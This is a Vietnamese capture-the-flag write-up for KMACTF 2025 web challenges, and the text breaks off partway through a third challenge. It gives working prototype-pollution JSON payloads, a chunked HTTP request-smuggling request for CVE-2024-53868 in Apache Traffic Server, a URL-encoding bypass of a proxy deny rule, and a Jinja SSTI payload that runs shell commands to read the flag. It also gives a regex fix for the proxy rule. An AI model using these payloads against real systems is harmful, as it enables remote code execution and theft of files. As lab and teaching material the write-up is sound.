# KMACTF Lần 2 2025 ## 0x1: Web/YDSYD Source code: :::spoiler app.ts ```typescript import { serve } from "bun"; import { SignJWT, jwtVerify } from "jose"; const JWT_SECRET = "<It's a secret, but I trust you'll figure it out>"; const secretKey = new TextEncoder().encode(JWT_SECRET); const flag = "KMACTF{hehe}"; function getFlagGetter() { return function () { return flag; }; } const flagGetter = getFlagGetter(); const users = { alice: { configProto: {}, config: Object.create({}), isAdmin: false }, bob: { configProto: {}, config: Object.create({}), isAdmin: false }, admin: { configProto: {}, config: Object.create({}), isAdmin: true }, }; const safeProps = new Set(["name", "user"]); function sandboxTemplate(template: string, context: any) { const proxy = new Proxy(context, { get(target, prop) { if (safeProps.has(prop as string)) { return Reflect.get(target, prop); } throw new Error("Access denied to property: " + prop.toString()); }, }); return template.replace(/\{\{(\w+)\}\}/g, (_, key) => { try { const val = (proxy as any)[key]; if (typeof val === "string" || typeof val === "number") return val; } catch { } return ""; }); } function merge(target: any, source: any) { for (const key in source) { if (key === "template" || key === "user") continue; if ( source[key] && typeof source[key] === "object" && target[key] && typeof target[key] === "object" ) { merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } async function authenticate(request: Request) { const authHeader = request.headers.get("authorization"); if (!authHeader || !authHeader.startsWith("Bearer ")) return null; const token = authHeader.slice(7); try { const { payload } = await jwtVerify(token, secretKey, { algorithms: ["HS256"], }); if (payload && typeof payload.user === "string" && users[payload.user]) { return { username: payload.user as string, isAdmin: payload.isAdmin === true }; } } catch { } return null; } async function generateToken(username: string, isAdmin = false) { return await new SignJWT({ user: username, isAdmin }) .setProtectedHeader({ alg: "HS256" }) .setIssuedAt() .setExpirationTime("1h") .sign(secretKey); } serve({ async fetch(request) { const url = new URL(request.url); if (url.pathname === "/login" && request.method === "POST") { try { const body = await request.json(); const user = body.user; if (!user || !users[user]) { return new Response("User not found", { status: 404 }); } const token = await generateToken(user, users[user].isAdmin); return new Response(JSON.stringify({ token }), { status: 200, headers: { "Content-Type": "application/json" }, }); } catch { return new Response("Invalid JSON", { status: 400 }); } } const auth = await authenticate(request); if (!auth) return new Response("Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 }); const username = auth.username; const isAdmin = auth.isAdmin; const userInfo = users[username]; if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); if (!userInfo.config.user) userInfo.config.user = { name: username }; } if (url.pathname === "/annyeong" && request.method === "POST") { try { const data = await request.json(); merge(userInfo.configProto, data); if (isAdmin) { return new Response(flagGetter(), { status: 200 }); } const template = "{{name}} says hello"; const result = sandboxTemplate(template, userInfo.config.user); return new Response(result, { status: 200 }); } catch { return new Response("Invalid JSON or sandbox error", { status: 400 }); } } return new Response( "Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 } ); }, }); ``` ::: Vừa mở chall lên thì mình đã thấy được hàm `merge` này và cũng là đặc trưng nhận dạng của lỗ hổng này trong javascript, typescript. ![image](https://hackmd.io/_uploads/B1tHlIunxx.png) Ta có thể run đoạn này để check: ```javascript function merge(target, source) { for (const key in source) { if (key === "template" || key === "user") continue; if ( source[key] && typeof source[key] === "object" && target[key] && typeof target[key] === "object" ) { merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } const target = {}; const source = JSON.parse('{"__proto__": {"isAdmin": true}}'); merge(target, source); console.log({}.isAdmin); ``` ![1](https://hackmd.io/_uploads/SJhhZ8Oheg.png) Chỉ cần key của source không là `user` và `template` thì ta hoàn toàn có thể polute proto của obj. Quay trở lại với chall -> với kinh nghiệm của mình cách nhanh nhất để lấy được flag là trace ngược từ vị trí flag để tìm những "way" để có thể tiếp cận nó. ![image](https://hackmd.io/_uploads/BJklmUOngl.png) Sau khi gán thì `flagGetter` sẽ là một Function -> find nó trong source tiếp tục: ![2](https://hackmd.io/_uploads/B1NEEI_nel.png) Lúc này có thể thấy thì `isAdmin` phải có giá trị true -> recv flag. Nếu endpoint(pathname) là `/annyeong` và method POST thì body json được nhận trực tiếp từ client sẽ đưa vào merge: ```javascript const data = await request.json(); merge(userInfo.configProto, data); ``` Vậy -> đây sẽ là nơi ta khai thác để isAdmin là true. Mặc định nếu endpoint không phải `/login` và method khác `POST` - tương ứng chức năng login thì đoạn code dưới if sẽ được run: ```javascript const auth = await `authenticate`(request); if (!auth) return new Response("Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 }); const username = auth.username; const isAdmin = auth.isAdmin; const userInfo = users[username]; if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); if (!userInfo.config.user) userInfo.config.user = { name: username }; } ``` middleware `authenticate` được gọi để check auth: ```javascript import { SignJWT, jwtVerify } from "jose"; const JWT_SECRET = "<It's a secret, but I trust you'll figure it out>"; const secretKey = new TextEncoder().encode(JWT_SECRET); async function authenticate(request: Request) { const authHeader = request.headers.get("authorization"); if (!authHeader || !authHeader.startsWith("Bearer ")) return null; const token = authHeader.slice(7); try { const { payload } = await jwtVerify(token, secretKey, { algorithms: ["HS256"], }); if (payload && typeof payload.user === "string" && users[payload.user]) { return { username: payload.user as string, isAdmin: payload.isAdmin === true }; } } catch { } return null; } ``` token được lấy từ header sau đó verify kỹ càng với secretKey -> sau đó username, isAdmin được trả về. username, isAdmin được lấy ra và lấy thông tin tương ứng với username trong list obj: ```javascript const users = { alice: { configProto: {}, config: Object.create({}), isAdmin: false }, bob: { configProto: {}, config: Object.create({}), isAdmin: false }, admin: { configProto: {}, config: Object.create({}), isAdmin: true }, }; ``` ### 1: Cách 1_ Khai thác với logic code failed Vì cần phải có token để auth cho nên điều tiên quyết ta cần làm là đăng nhập: ```javascript if (url.pathname === "/login" && request.method === "POST") { try { const body = await request.json(); const user = body.user; if (!user || !users[user]) { return new Response("User not found", { status: 404 }); } const token = await generateToken(user, users[user].isAdmin); return new Response(JSON.stringify({ token }), { status: 200, headers: { "Content-Type": "application/json" }, }); } catch { return new Response("Invalid JSON", { status: 400 }); } } ``` user được lấy ra trực tiếp sau đó check trực tiếp user với key trong list ở trên, điều phi lí ở đây là `const token = await generateToken(user, users[user].isAdmin);` nó chẳng hề check gì cả mà generateToken với user ta truyền vào tương ứng luôn -> cùng coi xem `generateToken` có gì khác thường không. ```javascript async function generateToken(username: string, isAdmin = false) { return await new SignJWT({ user: username, isAdmin }) .setProtectedHeader({ alg: "HS256" }) .setIssuedAt() .setExpirationTime("1h") .sign(secretKey); } ``` Vậy điều này hoàn toàn hợp lí khi gen token -> do đó lỗ hổng logic nằm ngay tại đây. -> Chỉ cần truyền user là `admin` thì `users['admin'].isAdmin` sẽ là true -> token được gen với payload jwt là admin -> chỉ cần truy cập `/annyeong` là xong. Điều này khá là lỏ bởi vì dữ kiện prototype polution còn chưa được sử dụng đến. ### 2: Cách 2_ Khai thác prototype polution Có một đoạn nữa ở đây mình sẽ nói thêm là: ```javascript if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); if (!userInfo.config.user) userInfo.config.user = { name: username }; } ``` Nếu userInfo.config chưa có prototype thì gán userInfo.configProto làm prototype cho nó (tức là config sẽ 'kế thừa' các thuộc tính từ configProto). Sau đó, nếu config.user chưa có thì khởi tạo config.user = { name: username } **Ý tưởng:** Bây giờ nếu không có lỗ hổng logic kia -> ví dụ chặn truyền user:admin -> thì lúc này ta chỉ có thể login với user `alice` or `bob` -> `isAdmin` là false. -> Lúc này token tương ứng đã được gen. -> Đi đến chức năng `/annyeong` thì thông tin được lấy ra, `const userInfo = users[username];` cũng lấy ra tương ứng `alice: { configProto: {}, config: Object.create({}), isAdmin: false }` `!Object.getPrototypeOf(userInfo.config)` trả về false nên if không được nhảy vào ![image](https://hackmd.io/_uploads/r1_MXvOhex.png) ![image](https://hackmd.io/_uploads/SJv4XPu3le.png) ![image](https://hackmd.io/_uploads/SJI5Evunxg.png) ![image](https://hackmd.io/_uploads/H1eh4wu3xl.png) Tuy nhiên có một vấn đề xảy ra: ```javascript function merge(target, source) { for (const key in source) { if (key === "template" || key === "user") continue; if ( source[key] && typeof source[key] === "object" && target[key] && typeof target[key] === "object" ) { merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } const users = { alice: { configProto: {}, config: Object.create({}), isAdmin: false }, bob: { configProto: {}, config: Object.create({}), isAdmin: false }, admin: { configProto: {}, config: Object.create({}), isAdmin: true }, }; const username = "alice"; const isAdmin = false; const userInfo = users[username]; // console.log(!Object.getPrototypeOf(userInfo.config)); if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); console.log(11111111111); if (!userInfo.config.user) userInfo.config.user = { name: username }; } // const data = JSON.parse(` // { // "__proto__": { // "isAdmin": true, // "config": true, // "hihi": { // "configProto": {}, // "config": {}, // "isAdmin": true // } // } // } // `); const data = JSON.parse('{"__proto__": {"hihi": {"isAdmin": true}}}'); merge(userInfo.configProto, data); const c = {}; console.log(c.hihi); // console.log(users["alice"].config.isAdmin); // console.log(users["hihi"].isAdmin); const username1 = "hihi"; const isAdmin1 = users["hihi"].isAdmin; const userInfo1 = users[username]; // console.log(userInfo1); if (!Object.getPrototypeOf(userInfo1.config)) { Object.setPrototypeOf(userInfo1.config, userInfo1.configProto); console.log(11111111111); if (!userInfo.config.user) userInfo1.config.user = { name: username }; } const data1 = JSON.parse('{}'); try { merge(userInfo1.configProto, data1); } catch { console.log("Lỗi rồi"); } // if(isAdmin1){ // console.log("KMACTF{hehe}"); // } ``` ```c PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js { isAdmin: true } D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:1 function merge(target, source) { ^ RangeError: Maximum call stack size exceeded at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:1:15) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13) Node.js v20.10.0 PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js { isAdmin: true } Lỗi rồi PS D:\ctf_chall\KMACTF2_2025\YDSYD> ``` Việc prototype giá trị của object đã bị polution thì nó sẽ luôn có giá trị `target[key]` tức là `target["__proto__"]` sẽ luôn trả ra `object` và lại gọi đệ quy lại nó -> sinh ra callback hell -> stack overflow. Do đó ta phải tiến hành polution lại giá trị hihi thành null để có điểm dừng cho call back: ```javascript function merge(target, source) { console.log("calling.....\n"); for (const key in source) { if (key === "template" || key === "user") continue; if ( source[key] && typeof source[key] === "object" && target[key] && typeof target[key] === "object" ) { merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } const users = { alice: { configProto: {}, config: Object.create({}), isAdmin: false }, bob: { configProto: {}, config: Object.create({}), isAdmin: false }, admin: { configProto: {}, config: Object.create({}), isAdmin: true }, }; const username = "alice"; const isAdmin = false; const userInfo = users[username]; // console.log(!Object.getPrototypeOf(userInfo.config)); if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); console.log(11111111111); if (!userInfo.config.user) userInfo.config.user = { name: username }; } // const data = JSON.parse(` // { // "__proto__": { // "isAdmin": true, // "config": true, // "hihi": { // "configProto": {}, // "config": {}, // "isAdmin": true // } // } // } // `); const data = JSON.parse('{"__proto__": {"hihi": {"isAdmin": true}}}'); merge(userInfo.configProto, data); const c = {}; console.log(c.hihi); // console.log(users["alice"].config.isAdmin); // console.log(users["hihi"].isAdmin); const username1 = "hihi"; const isAdmin1 = users["hihi"].isAdmin; const userInfo1 = users[username]; // console.log(userInfo1); if (!Object.getPrototypeOf(userInfo1.config)) { Object.setPrototypeOf(userInfo1.config, userInfo1.configProto); console.log(11111111111); if (!userInfo.config.user) userInfo1.config.user = { name: username }; } const data1 = JSON.parse('{ "__proto__": null }'); try { merge(userInfo1.configProto, data1); } catch { console.log("Lỗi rồi"); } if(isAdmin1){ console.log("KMACTF{hehe}"); } ``` ```c PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js calling..... calling..... { isAdmin: true } calling..... KMACTF{hehe} ``` Có thể thấy nó sẽ chỉ gọi 3 lần: ``` PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js calling..... __proto__ calling..... hihi { isAdmin: true } calling..... __proto__ hihi KMACTF{hehe} ``` ```c hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin hihi calling..... isAdmin ``` Khác hoàn toàn so với gọi đệ quy liên tục ở lúc đầu vì hihi đã được chuyển về null -> lưu ý nếu ta dùng `const data1 = JSON.parse('{ "__proto__": {} }');` thì giá trị {} vẫn đang bị poluttion không thể khử bỏ -> vẫn lỗi. -> Ok vậy là mọi việc đã được đưa ra ánh sáng giờ thì exploit tóm gọn lại chỉ trong 4 bước đơn giản thôi. ### 3: Exploit with cách 1 Cách 1 đơn giản ta chỉ cần login với user:admin -> nhận token isAdmin:true -> truy cập `/annyeong` -> nhận flag ¯\_(ツ)_/¯. ### 4: Exploit with cách 2 1. Login with user alice or bob. -> Mục tiêu lấy jwt token để call api `/annyeong` ![image](https://hackmd.io/_uploads/HyH20h_2ge.png) 2. Polution để khi login `users[user].isAdmin` sẽ là `users["lamlam"].isAdmin` -> và polution rồi nên nhận role admin. ![image](https://hackmd.io/_uploads/HkpaA3dnxg.png) ```json {"__proto__": {"lamlam": {"configProto": {}, "config":{}, "isAdmin": true}}} ``` 3. Login với user polution mới -> nhận token ![image](https://hackmd.io/_uploads/B1OXkTuhxx.png) 4. POST đến `/annyeong` với token trên thì đoạn lấy ra role isAdmin sẽ lấy trước đoạn merge cho nên ta polution lại proto key "lamlam" để không bị callback hell. ![image](https://hackmd.io/_uploads/rkvB1T_3ee.png) Ngoài ra ta cũng có thể dùng: ```json { "__proto__": {"lamlam": null} } ``` flag: `KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}` --- :::spoiler Ngoài lề: ```typescript const template = "{{name}} says hello"; const result = sandboxTemplate(template, userInfo.config.user); return new Response(result, { status: 200 }); ``` Có thể thấy nếu không là admin thì một chuỗi được hiển thị và nó được render theo cách: ```typescript const safeProps = new Set(["name", "user"]); function sandboxTemplate(template: string, context: any) { const proxy = new Proxy(context, { get(target, prop) { if (safeProps.has(prop as string)) { return Reflect.get(target, prop); } throw new Error("Access denied to property: " + prop.toString()); }, }); return template.replace(/\{\{(\w+)\}\}/g, (_, key) => { try { const val = (proxy as any)[key]; if (typeof val === "string" || typeof val === "number") return val; } catch { } return ""; }); } ``` -> và prop phải thuộc name hoặc user -> và tại này cũng chỉ trả ra string or number nên cũng không có gì đặc biệt. ::: ## 0x2: Web/ACL and H1 Khi nhìn vào đề bài này thì mình lập tức nghĩ ngay đến http request smuggling(HRS) -> nó là lỗi giữa việc nhận/xử lý dữ liệu khác nhau của thường là proxy và backend server. Và khi unzip chall ra thì đúng như dự đoán: :::spoiler Tree ```c PS D:\ctf_chall\KMACTF2_2025\ACL_H1\Public> ls Directory: D:\ctf_chall\KMACTF2_2025\ACL_H1\Public Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/11/2025 2:02 PM backend d----- 9/11/2025 2:02 PM proxy -a---- 9/11/2025 2:03 AM 527 docker-compose.yml PS D:\ctf_chall\KMACTF2_2025\ACL_H1\Public> tree D:. ├───backend │ ├───static │ │ └───assets │ ├───templates │ └───uploads └───proxy ``` ::: :::spoiler docker-compose.yml ```dockerfile services: gunicorn-server: build: context: ./backend dockerfile: Dockerfile container_name: gunicorn-server expose: - "8088" networks: - internal-network ats-proxy: build: context: ./proxy dockerfile: Dockerfile container_name: ats-proxy ports: - "8188:8080" depends_on: - gunicorn-server networks: - internal-network - default networks: internal-network: driver: bridge internal: true ``` ::: Có thể thấy `networks` `internal: true` và service `gunicorn-server` chỉ được phép truy cập từ `ats-proxy` trong cùng mạng -> từ đó ta sẽ đoán những hướng khai thác như là SSRF, HRS, hoặc xss(nếu có bot - trường hợp này thì không ¯\_(ツ)_/¯),... ### 1: trafficserver proxy :::spoiler Dockerfile proxy trafficserver ```dockerfile FROM trafficserver/trafficserver:10.0.4 COPY remap.config /opt/etc/trafficserver/remap.config COPY records.yaml /opt/etc/trafficserver/records.yaml EXPOSE 8188 CMD ["traffic_server", "-K"] ``` ::: Đến với proxy này dùng `trafficserver:10.0.4` và khi làm bài này mình có tìm ra lỗ hổng HRS ở version 10.0.4 -> vui thay khi mình áp poc của một bài trên mạng bị thừa một dấu `\r` cho nên không khai thác được (do kỹ năng đọc hiểu còn kém :() -> ở bài này mình sẽ đi giải thích cơ chế trước nhé. ```c records: http: keep_alive_enabled_in: 0 keep_alive_enabled_out: 0 ``` ```c remap.config map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get map / http://gunicorn-server:8088/ ``` Với các cấu hình có vẻ như là hoàn hảo để khai thác HRS với CVE trên. -> Cùng quan sát xem có gì hay ho ở internal server `gunicorn`. ### 2: flask internal server :::spoiler Dockerfile backend flask ```dockerfile FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY app.py /app/ COPY templates /app/templates COPY static /app/static COPY gunicorn.conf.py . COPY flag.txt . RUN set -eux; \ RAND=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c6); \ FLAG_NAME="flag_${RAND}"; \ cp flag.txt /${FLAG_NAME}; \ rm -f flag.txt; RUN groupadd -r appuser && useradd -r -g appuser appuser RUN mkdir -p /app/uploads \ && chown -R appuser:appuser /app/uploads \ && chmod 755 /app/uploads RUN chown -R root:root /app \ && chown -R appuser:appuser /app/uploads USER appuser EXPOSE 8088 CMD ["gunicorn", "--config", "gunicorn.conf.py", "app:app"] ``` ::: Flag được random name `flag_*` và được đưa lên root -> target 90% mình đoán được lúc này là RCE. Phản xạ có điều kiện ngay mình find endpoint `/render` tại sao lại bị proxy deny với `@method=post @method=get` :::spoiler Đây là mã nguồn để mọi người xem dễ hơn ```python from flask import Flask, request, render_template, Response, send_from_directory, session, render_template_string, redirect, url_for import logging import sys import os import uuid import secrets app = Flask(__name__, template_folder=os.path.join(os.path.dirname(__file__), 'templates')) app.secret_key = secrets.token_hex(32) BASE_UPLOAD_FOLDER = 'uploads' logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[ logging.StreamHandler(sys.stdout) ] ) logger = logging.getLogger(__name__) ALLOWED_EXTENSIONS = {'txt', 'html'} def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS def get_session_folder(): if "session_id" not in session: session["session_id"] = uuid.uuid4().hex[:6] folder = os.path.join(BASE_UPLOAD_FOLDER, session["session_id"]) os.makedirs(folder, exist_ok=True) return folder, session["session_id"] @app.before_request def log_request_info(): logger.info(f"REQUEST: {request.method} {request.path}") if 'folder' not in session: folder_name = uuid.uuid4().hex session['folder'] = folder_name session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder_name) os.makedirs(session_folder_path, exist_ok=True) else: session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, session['folder']) app.config['UPLOAD_FOLDER'] = session_folder_path # --- Routes --- @app.route('/', methods=['GET']) def index(): return render_template('index.html', method=request.method, path=request.path) @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: return "No file part" file = request.files['file'] if file.filename == '': return "No selected file" if file and allowed_file(file.filename): ext = file.filename.rsplit('.', 1)[1].lower() random_str = uuid.uuid4().hex[:16] filename = f"{random_str}.{ext}" filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) file.save(filepath) return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>" return "File type not allowed" return render_template("upload.html") @app.route('/uploads/<folder>/<filename>') def download_file(folder, filename): folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder) return send_from_directory( folder_path, filename, mimetype='text/plain', as_attachment=False ) @app.route('/files', methods=['GET']) def list_files(): folder = session.get('folder') if not folder: folder = uuid.uuid4().hex session['folder'] = folder folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder) os.makedirs(folder_path, exist_ok=True) files = os.listdir(folder_path) file_urls = [f"uploads/{folder}/{f}" for f in files] return render_template("files.html", files=zip(files, file_urls)) # Internal access to render @app.route('/render') def render_file(): filepath = request.args.get("filepath", "") if not os.path.isfile(filepath): return "File not found", 404 with open(filepath) as f: content = f.read() return render_template_string(f"<pre>{ content }</pre>") # --- Error Handlers --- @app.errorhandler(404) def not_found(error): logger.error(f"404 Error: Path '{request.path}' not found") return f"404 Not Found: The path '{request.path}' does not exist.", 404 @app.errorhandler(403) def access_denied(error): logger.error("403 Error: Access Denied") return "403 Forbidden: Access Denied", 403 @app.errorhandler(400) def bad_request(error): logger.error("400 Error: Bad Request") return "400 Bad Request", 400 if __name__ == '__main__': app.run(host='0.0.0.0', port=8088, debug=False) ``` ::: Hóa ra do endpoint này nguy hiểm vì dùng `render_template_string` render trực tiếp nội dung đọc từ `filepath` truyền tùy ý từ người dùng. Vậy câu hỏi đặt ra là có api nào liên quan đến việc upload file, load file,... -> và ông bụt hiện ra và ban cho ta endpoint `/upload` ```python BASE_UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = {'txt', 'html'} @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: return "No file part" file = request.files['file'] if file.filename == '': return "No selected file" if file and allowed_file(file.filename): ext = file.filename.rsplit('.', 1)[1].lower() random_str = uuid.uuid4().hex[:16] filename = f"{random_str}.{ext}" filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) file.save(filepath) return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>" return "File type not allowed" return render_template("upload.html") ``` Ta chỉ được upload các file đuôi ext là ``.txt`` or ``.html`` -> tuy nhiên chỉ cần upload được file + biết path là đủ -> và path file được trả ra khi ta upload xong `Path: {filepath} <a href='/files'>See all files</a>` -> Vậy thì chỉ cần upload một file có content ssti -> sau đó trigger qua /render?filepath=`<filepath>` ta vừa upload là được. Vẫn là vấn đề bypass internal để gọi được `render`. ### 3: Cách 1: Intended _ CVE-2024-53868 - Apache Traffic Server Vulnerability Let Attackers Smuggle Requests Version `10.0.4` dính chắc lỗ hổng này -> ban đầu mình tìm được bài viết này: https://www.cve.news/cve-2024-53868/ -> Tuy nhiên poc này không hoạt động ở bài này. https://cybersecuritynews.com/apache-traffic-server-vulnerability/ Khi access vào trang web cũng có một ảnh hiển thị ám chỉ bug HRS: ![image](https://hackmd.io/_uploads/BJas51F2lx.png) Ta có thể xem bài viết này: https://w4ke.info/2025/06/18/funky-chunks.html ![image](https://hackmd.io/_uploads/BJuC21t3xg.png) -> áp poc vào -> ta nhận dạng các request gửi đến `gunicorn-server`: ![1](https://hackmd.io/_uploads/Bk9dpkKnlx.png) ---- internal enpoint đã được gọi -> tuy nhiên điều kiện: ``` records: http: keep_alive_enabled_in: 0 keep_alive_enabled_out: 0 ``` keep-alive bị tắt cho nên bytes được gửi rời ra ở request sau không được trả về phía người dùng Vì vậy cho nên để trigger ssrf ta sẽ phải dùng blind rce ra ngoài, thêm một rào cản nữa là trong `gunicorn-server` không có mạng -> nên hướng hợp lí nhất là cat flag* rồi ném output ra những thư mục mà ta có quyền truy cập từ phía client (như static, uploads.). Trong quá trình khai thác thì việc khai báo chunk len content là cần thiết nếu không thì sẽ bị lỗi: ![image](https://hackmd.io/_uploads/r1VH8lY3xl.png) ![image](https://hackmd.io/_uploads/BkxuLetngx.png) ![image](https://hackmd.io/_uploads/HyBOUxY2xe.png) Ta bắt buộc phải khai báo lớn hơn or bằng len để phía backend nhận biết được phần chunk phía dưới Điều này là bắt buộc để truyền thêm `filepath` query vào render. ![image](https://hackmd.io/_uploads/H1mPDeFnll.png) Tương tự như vậy thì ta chỉ cần truyền file upload lên chứa payload ssti để ghi file ra với session hiện tại là được: ![image](https://hackmd.io/_uploads/rJZjwgK2xl.png) ```c GET /?a=a HTTP/1.1 Host: localhost:8188 Transfer-Encoding: chunked Content-Length: 128 2;\n xx 75 0 GET /render?filepath=uploads/385ac60a63ff4d4aae034377651b524b/e37e6bc2fe4d4577.txt HTTP/1.1 Host: localhost ``` ![image](https://hackmd.io/_uploads/ry5Awgt3ll.png) SSTI payload: `{{cycler.__init__.__globals__.os.popen('cat /fla* > /app/uploads/385ac60a63ff4d4aae034377651b524b/aaaa.txt').read()}}` ![2](https://hackmd.io/_uploads/SJH4dxYhxe.png) ![image](https://hackmd.io/_uploads/ry04dgF2ge.png) - Exploit real server ![image](https://hackmd.io/_uploads/ry1xKWt3el.png) Upload payload ssti cat flag rồi ghi ra thư mục session của mình: `eyJmb2xkZXIiOiIyMGE5OTJjNzQ2ODE0MTQ0OWM4Njc0MTcxMjQzM2MzMSJ9.aNuI1A.bqKFYlK1gGv6SBV5Pwf8Vxc6aoA` `20a992c7468141449c86741712433c31` ![image](https://hackmd.io/_uploads/S1TBYWt3gl.png) SSTI payload: `{{cycler.__init__.__globals__.os.popen('cat /fla* > /app/uploads/20a992c7468141449c86741712433c31/aaaa.txt').read()}}` `uploads/20a992c7468141449c86741712433c31/178752db5ab549d5.txt` ![image](https://hackmd.io/_uploads/rJkV5Zt2xg.png) ![image](https://hackmd.io/_uploads/SkcV5bF3gx.png) ![image](https://hackmd.io/_uploads/H1GH5WK2gg.png) flag: `KMACTF{HTTP/1.1_Must_Di3_or_Not?????}` --- --- https://cybersecuritynews.com/apache-traffic-server-vulnerability/ https://securityvulnerability.io/vulnerability/CVE-2024-53868 https://www.intertecsystems.com/threat-report-and-advisories/vulnerability/apache-traffic-server-flaw-enables-http-request-smuggling-attacks/ https://github.com/advisories/GHSA-p9hw-v7q7-gmh5 ### 4: Cách 2_ UnIntended - miss config in remap.config route deny route /render ```c map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get map / http://gunicorn-server:8088/ ``` Nguyên nhân ở đây vẫn là lỗi không tương thích giữa proxy và backend. Việc mapping `/render` không thực hiện url decode path truy cập đến >< Ngược lại phía `gunicorn-server` lại tiến hành url decode nó. Lúc này một khe hở lọt ra đó là ta chỉ cần url encode 1 hoặc 2 kí tự của render ví dụ: ![image](https://hackmd.io/_uploads/Hk-El-Y2gg.png) ![image](https://hackmd.io/_uploads/Hk1UgWY3ll.png) ![image](https://hackmd.io/_uploads/SynPe-K3xe.png) ![3](https://hackmd.io/_uploads/ByMw0eKngl.png) - Exploit: Với cách này khá đơn giản chỉ cần upload file chứa payload ssti rồi gọi trực tiếp từ render (lưu ý bypass như trên) là được: ![image](https://hackmd.io/_uploads/B14PuZFneg.png) ![image](https://hackmd.io/_uploads/SyItdZYhll.png) SSTI pay: `{{cycler.__init__.__globals__.os.popen('cat /fla*').read()}}` flag: `KMACTF{HTTP/1.1_Must_Di3_or_Not?????}` 3. Cách sửa (fix) http://docs.trafficserver.apache.org/admin-guide/plugins/regex_remap.en.html ở đây do hoán vị tổ hợp của nó khá lớn lên ta sẽ dùng regex_remap của `trafficserver` regex: ``` ^/(?:%[0-9a-fA-F]{2})*(?:r|%72|%52)(?:%[0-9a-fA-F]{2})*(?:e|%65|%45)(?:%[0-9a-fA-F]{2})*(?:n|%6[eE]|%4[eE])(?:%[0-9a-fA-F]{2})*(?:d|%64|%44)(?:%[0-9a-fA-F]{2})*(?:e|%65|%45)(?:%[0-9a-fA-F]{2})*(?:r|%72|%52)(?:%[0-9a-fA-F]{2})* - @status=403 ``` Sau đó dùng với plugin regex_remap -> cách hoạt động cũng tương tự như các proxy khác. Để không bị miss config này -> và chắc chắn sẽ ít solve hơn thì file remap sẽ phải sửa như trên để triệt tiêu hết tất cả urldecode:> ## 0x3: Web/Vibe_coding Chall này đáng ra là chống sol nhưng mà miss logic code -> do đó khá nhiều sol. :::spoiler project structure ```c PS D:\ctf_chall\KMACTF2_2025\vibe_coding_public\vibe_coding_public> ls Directory: D:\ctf_chall\KMACTF2_2025\vibe_coding_public\vibe_coding_public Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/28/2025 11:52 AM nodejs-server d----- 9/28/2025 11:52 AM python-server -a---- 9/28/2025 12:06 PM 700 docker-compose.yml ``` ::: :::spoiler docker-compose.yml ```dockerfile version: '3.8' services: nodejs-server: build: context: ./nodejs-server dockerfile: Dockerfile container_name: ctf-nodejs-server environment: - PORT=3000 - JWT_SECRET=randomsecretkey - PYTHON_SERVER=http://python-server:8080 ports: - "3000:3000" depends_on: - python-server networks: - ctf-network restart: unless-stopped python-server: build: context: ./python-server dockerfile: Dockerfile container_name: ctf-python-server environment: - PORT=8080 - FLAG=KMACTF{REDACTED} networks: - ctf-network restart: unless-stopped networks: ctf-network: driver: bridge ``` ::: Chall này cũng có 2 service `python-server` và `nodejs-server` trong `docker-compose.yml` ta có thể dễ dàng thấy FLAG nằm trong 